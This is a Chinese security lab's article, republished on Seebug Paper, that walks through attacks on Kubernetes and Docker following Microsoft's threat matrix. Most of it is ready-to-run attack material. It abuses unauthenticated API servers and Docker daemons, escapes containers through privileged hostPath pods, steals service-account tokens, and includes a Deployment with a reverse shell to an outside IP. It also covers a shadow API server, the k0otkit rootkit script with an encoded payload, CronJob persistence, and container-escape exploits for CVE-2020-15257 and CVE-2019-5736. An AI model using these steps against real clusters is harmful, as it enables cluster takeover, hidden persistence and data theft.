作者:深信服千里目安全实验室
原文链接:https://mp.weixin.qq.com/s/8lhmjPtLTlVkS1Q3-6-mHA

随着越来越多企业踏上上云的步伐,在攻防演练中常常碰到云相关的场景,例如:公有云、私有云、混合云、虚拟化集群等。以往渗透路径是「外网突破 -> 提权 -> 权限维持 -> 信息收集 -> 横向移动 -> 循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:

● 通过虚拟机攻击云管理平台,利用管理平台控制所有机器。

● 通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器。

● 利用 KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台。

目前互联网上针对云原生场景下的攻击手法大都零零散散,仅有少部分厂商发布过相关矩阵技术,但都没有过多的细节展示,本文基于微软发布的 Kubernetes 威胁矩阵进行扩展,将深入介绍相关的具体攻击方法。

图片

红色标志是攻击者重点关注的技术

初始访问

● API Server 未授权访问

● kubelet 未授权访问

● Docker Daemon 公网暴露

● K8s configfile 泄露

API Server未授权访问

API Server 作为 K8s 集群的管理入口,通常使用 80806443 端口,其中 8080 端口无需认证,6443端口需要认证且有 TLS 保护。如果开发者使用 8080 端口,并将其暴露在公网上,攻击者就可以通过该端口的 API,直接对集群下发指令。

另一种场景是运维人员配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令。

#查看pods
https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500


#创建特权容器
https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}


#执行命令
https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami

创建特权容器详细解释:

图片

创建特权容器

Docker Daemon 公网暴露

DockerC/S 模式工作,其中 docker daemon 服务在后台运行,负责管理容器的创建、运行和停止操作。

Linux主机上,docker daemon监听在/var/run/docker.sock中创建的unix socket2375 端口用于未认证的 HTTP 通信,2376 用于可信 HTTPS 通信。

在最初版本安装 Docker 时默认会把 2375 端口对外开放,目前默认只允许本地访问。

管理员开启远程访问的配置如下:

#开启远程访问
vim /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 -containerd=/run/containerd/containerd.sock

Docker Daemon未授权访问的检测与利用:

#探测是否访问未授权访问
curl http://192.168.238.129:2375/info
docker -H tcp://192.168.238.129:2375 info


#推荐使用这种方式,操作方便。
export DOCKER_HOST="tcp://192.168.238.129:2375" 

Docker Daemon未授权实战案例:

图片

K8s configfile 泄露

K8s configfile 作为 K8s 集群的管理凭证,其中包含有关 K8s 集群的详细信息(API Server、登录凭证)。

如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到 Github的代码等),就可以直接通过 API Server 接管 K8s 集群,带来风险隐患。

用户凭证保存在 kubeconfig 文件中,kubectl 通过以下顺序来找到 kubeconfig 文件:

  1. 如果提供了--kubeconfig参数,就使用提供的 kubeconfig 文件。

  2. 如果没有提供--kubeconfig 参数,但设置了环境变量 $KUBECONFIG,则使用该环境变量提供的 kubeconfig 文件。

  3. 如果以上两种情况都没有,kubectl 就使用默认的 kubeconfig文件 $HOME/.kube/config

拿到K8s configfile完整利用流程:

K8s configfile --> 创建后门Pod/挂载主机路径 --> 通过Kubectl 进入容器 --> 利用挂载目录逃逸

#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

#内容放入config、或指定选项,需要修改Server地址
kubectl --kubeconfig k8s.yaml

#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c

#创建Pod pod.yaml,将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default --insecure-skip-tls-verify=true

#进入容器中
kubectl exec -it test-444 bash -n default --insecure-skip-tls-verify=true

#切换bash,逃逸成功
cd /host
chroot ./ bash

执行

● 利用Service Account

CURL方式请求

kubectl方式请求

利用Service Account

K8s 集群创建的Pod 中,容器内部默认携带 K8s Service Account的认证凭据,路径为:/run/secrets/kubernetes.io/serviceaccount/token

如运维配置不当没有设置 RBAC (基于角色的访问控制),那么攻击者就可以通过 Pod 获取到 Token 进行API Server认证。

在较低版本 v1.15.11 中, Kubernetes 默认是不会开启 RBAC 控制,从 1.16 版本起,默认启用 RBAC 访问控制策略。从1.18开始,RBAC 已作为稳定的功能。

下面就是利用 Pod中的 Toke``` 访问API Server `的一种场景:

#指向内部 API 服务器主机名
export APISERVER=https://${KUBERNETES_SERVICE_HOST}

#设置 ServiceAccount 令牌的路径
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount

#读取 pods 命名空间并将其设置为变量。
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
#读取 ServiceAccount 不记名令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)

# CACERT 路径
export CACERT=${SERVICEACCOUNT}/ca.crt

执行以下命令查看当前集群中所有Namespaces。
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces

#写入yaml,创建特权Pod
cat > nginx-pod.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
EOF

#创建pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k ${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml

#查看信息
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/default/pods/nginx

#执行命令
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=ls&command=-l
or
api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=ls&command=-l&container=nginx&stdin=true&stdout=true&tty=true

持久化

● DaemonSets、Deployments

● Shadow API

● Rootkit

● cronjob持久化

Deployment

创建容器时,通过启用 DaemonSetsDeployments,可以使容器和子容器即使被清理掉了也可以恢复,攻击者经常利用这个特性进行持久化,涉及的概念有:

● ReplicationController(RC)

ReplicationController 确保在任何时候都有特定数量的 Pod 副本处于运行状态。

● Replication Set(RS)

Replication Set简称RS,官方已经推荐我们使用 RSDeployment 来代替 RC 了,实际上 RSRC 的功能基本一致,目前唯一的一个区别就是RC 只支持基于等式的 selector

● Deployment

主要职责和 RC 一样,的都是保证 Pod 的数量和健康,二者大部分功能都是完全一致的,可以看成是一个升级版的 RC 控制器。官方组件 kube-dnskube-proxy 也都是使用的Deployment来管理。

这里使用Deployment来部署后门

#dep.yaml
apiVersion: apps/v1
kind: Deployment  #确保在任何时候都有特定数量的Pod副本处于运行状态
metadata:
  name: nginx-deploy
  labels:
    k8s-app: nginx-demo
spec:
  replicas: 3  #指定Pod副本数量
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: nginx
        image: nginx:1.7.9
        imagePullPolicy: IfNotPresent
        command: ["bash"] #反弹Shell
        args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
        securityContext:
          privileged: true #特权模式
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory

#创建
kubectl create -f dep.yaml

Shadow API Server

如果部署了一个shadow api server,那么该api server具有和集群中现在的api server一致的功能。同时开启了全部k8s权限,接受匿名请求且不保存审计日志,这将方便攻击者无痕迹的管理整个集群以及进行后续渗透行动。

Shadow API Server的配置与利用:

配置文件路径:

/etc/systemd/system/kube-apiserver-test.service


#一键部署Shadow apiserver
./cdk run k8s-shadow-apiserver default


#一键部署将在配置文件中添加了如下选项:
--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow


#kcurl访问与利用
./cdk kcurl anonymous get https://192.168.1.44:9443/api/v1/secrets

Rootkit

这里介绍一个 k8srootkitk0otkit 是一种通用的后渗透技术,可用于对 Kubernetes 集群的渗透。使用 k0otkit,您可以以快速、隐蔽和连续的方式(反向 shell)操作目标 Kubernetes 集群中的所有节点。

K0otkit使用到的技术:

DaemonSetSecret资源(快速持续反弹、资源分离)

kube-proxy镜像(就地取材)

● 动态容器注入(高隐蔽性)

Meterpreter(流量加密)

● 无文件攻击(高隐蔽性)

#生成k0otkit
./pre_exp.sh

#监听
./handle_multi_reverse_shell.sh

k0otkit.sh的内容复制到master执行:

volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content

ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace: kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......

# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
  | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
  | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/,; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n                name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
  | kubectl --kubeconfig /root/.kube/config replace -f -

cronjob持久化

CronJob用于执行周期性的动作,例如备份、报告生成等,攻击者可以利用此功能持久化。

apiVersion: batch/v1
kind: CronJob  #使用CronJob对象
metadata:
  name: hello
spec:
  schedule: "*/1 * * * *" #每分钟执行一次
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image: busybox
            imagePullPolicy: IfNotPresent
            command:
            - /bin/sh
            - -c
            - #反弹Shell或者木马
          restartPolicy: OnFailure

权限提升

● 特权容器逃逸

Docker漏洞

Linux Capabilities逃逸

特权容器逃逸

当容器启动加上--privileged选项时,容器可以访问宿主机上所有设备。

而K8s配置文件启用了privileged: true:

spec:
containers:
- name: ubuntu
image: ubuntu:latest
securityContext:
privileged: true

实战案例:

通过漏洞获取WebShell,查看根目录存在.dockerenv,可通过fdisk -l查看磁盘目录,进行挂载目录逃逸:

#Webshell下操作
fdisk -l
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash

图片

Docker漏洞

这里介绍两个知名的docker逃逸漏洞。

CVE-2020-15257:

Containerd 1.3.9版本之前和1.4.0~1.4.2版本,使用了--host网络模式,会造成containerd-shim API暴露,通过调用API功能实现逃逸。

Host模式特点:

● 共享宿主机网络

● 网络性能无损耗

● 各容器网络无隔离

● 网络资源无法分别统计

● 端口管理困难

● 不支持端口映射

#判断是否使用host模式
cat /proc/net/unix | grep 'containerd-shim'

图片

#反弹宿主机的shell到远端服务器
./cdk_linux_386 run shim-pwn reverse 192.168.238.159 4455

图片

CVE-2019-5736:

runc动态编译时,会从容器镜像中载入动态链接库,导致加载恶意动态库;当打开/prco/self/exerunc时,会执行恶意动态链接库中的恶意程序,由于恶意程序继承runc打开的文件句柄,可以通过该文件句柄替换host上的runc

此后,再次执行runc相关的命令,则会产生逃逸。

版本漏洞:

docker version <=18.09.2
RunC version <=1.0-rc6

利用过程:

#下载POC
https://github.com/Frichetten/CVE-2019-5736-PoC


#编译
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

利用成功是将/etc/shadow文件复制到/tmp/目录下

#将编译的main复制到docker容器中,实战是用WebShell上传
docker cp main name:/home
cd /home/
chmod 777 main
./main
#此时等管理员进入容器将触发:

图片

或将第16行改为反弹Shell,获得宿主机权限。

图片

Capabilities

CapabilitiesLinux一种安全机制,是在Linux内核2.2之后引入的,主要作用是权限更细粒度的控制。容器社区一直在努力将纵深防御、最小权限等理念和原则落地。

目前Docker已经将Capabilities黑名单机制改为了默认禁止所有Capabilities,再以白名单方式赋予容器运行所需的最小权限。

#查看Capabilitiescat
/proc/self/status | grep CapEff
capsh --print

Capabilities允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等

● cap_sys_ptrace-container

● cap_sys_admin-container

● cap_dac_read_search-container

实际场景不多,逃逸方法参考挂载目录方式。

探测

● 内网扫描

● K8s常用端口探测

● 集群内部网络

集群内网扫描

Kubernetes的网络中存在4种主要类型的通信

● 同一Pod内的容器间通信

● 各Pod彼此间通信

PodService间的通信

● 集群外部的流量与Service间的通信。

所以和常规内网渗透无区别,nmapmasscan等扫描

K8s常用端口探测

图片

集群内部网络

Flannel网络插件默认使用10.244.0.0/16网络

Calico默认使用192.168.0.0/16网络

横向移动

污点(Taint)横向渗透

污点是K8s高级调度的特性,用于限制哪些Pod可以被调度到某一个节点。一般主节点包含一个污点,这个污点是阻止Pod调度到主节点上面,除非有Pod能容忍这个污点。而通常容忍这个污点的 Pod都是系统级别的Pod,例如kube-system

图片

—个pod只有容忍了节点的污点,才能被调度到该节点上面

控制Pod创建时候的污点来向集群内的节点进行喷射创建。

#Node中查看节点信息
[root@node1 ~]# kubectl get nodes
NAME              STATUS                     ROLES    AGE   VERSION
192.168.238.129   Ready,SchedulingDisabled   master   30d   v1.21.0
192.168.238.130   Ready,SchedulingDisabled   master   30d   v1.21.0
192.168.238.131   Ready                      node     30d   v1.21.0
192.168.238.132   Ready                      node     30d   v1.21.0
#确认Master节点的容忍度
[root@node1 ~]# kubectl describe nodes 192.168.238.130
Name:               192.168.238.130
Roles:              master
Labels:             beta.kubernetes.io/arch=amd64
                    beta.kubernetes.io/os=linux
                    kubernetes.io/arch=amd64
                    kubernetes.io/hostname=192.168.238.130
                    kubernetes.io/os=linux
                    kubernetes.io/role=master
Annotations:        flannel.alpha.coreos.com/backend-data: {"VtepMAC":"66:3b:20:6a:eb:ff"}
                    flannel.alpha.coreos.com/backend-type: vxlan
                    flannel.alpha.coreos.com/kube-subnet-manager: true
                    flannel.alpha.coreos.com/public-ip: 192.168.238.130
                    node.alpha.kubernetes.io/ttl: 0
                    volumes.kubernetes.io/controller-managed-attach-detach: true
CreationTimestamp:  Tue, 14 Sep 2021 17:41:30 +0800
Taints:             node.kubernetes.io/unschedulable:NoSchedule


#创建带有容忍参数的Pod
kubectl create -f control-master.yaml

#control-master.yaml内容:
apiVersion: v1
kind: Pod
metadata:
  name: control-master-15
spec:
  tolerations:
    - key: node.kubernetes.io/unschedulable
      operator: Exists
      effect: NoSchedule
  containers:
    - name: control-master-15
      image: ubuntu:18.04
      command: ["/bin/sleep", "3650d"]
      volumeMounts:
      - name: master
        mountPath: /master
  volumes:
  - name: master
    hostPath:
      path: /
      type: Directory

图片

结论

● 目前黑产团伙通过批量扫描然后利用未授权进行挖矿。

● 当前攻防技术处于初级阶段,但随着云原生攻击武器的发展,攻击门槛也会相应降低。

● 虚拟机/容器逃逸攻击、供应链攻击等新型技术攻击方式,将会呈现出快速增长的趋势,此类攻击难度很高,带来的危害和影响也很大。

● 私有云部署在企业业务生产网,云的底座网络、物理设备与业务网络在同一安全域,大多时候缺乏有效隔离。

● 私有云产品属于定制开发,使用大量第三方组件,会随着时间和安全研究人员的研究而暴露。

参考链接

  1. TeamTNT Targets Kubernetes, Nearly 50,000 IPs Compromised in Worm-like Attack
    https://www.trendmicro.com/en_us/research/21/e/teamtnt-targets-kubernetes--nearly-50-000-ips-compromised.html

  2. Threat matrix for Kubernetes
    https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/

  3. Kubernetes Attack Surface
    https://www.optiv.com/insights/source-zero/blog/kubernetes-attack-surface

  4. Attack methods and defenses on Kubernetes
    https://dione.lib.unipi.gr/xmlui/handle/unipi/12888

  5. k0otkit
    https://github.com/Metarget/k0otkit

  6. CVE-2019-5736-Poc
    https://github.com/Frichetten/CVE-2019-5736-PoC

  7. 修复Docker操作系统命令注入漏洞公告(CVE-2019-5736)
    https://support.huaweicloud.com/bulletin-cce/cce_bulletin_0015.html


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1803/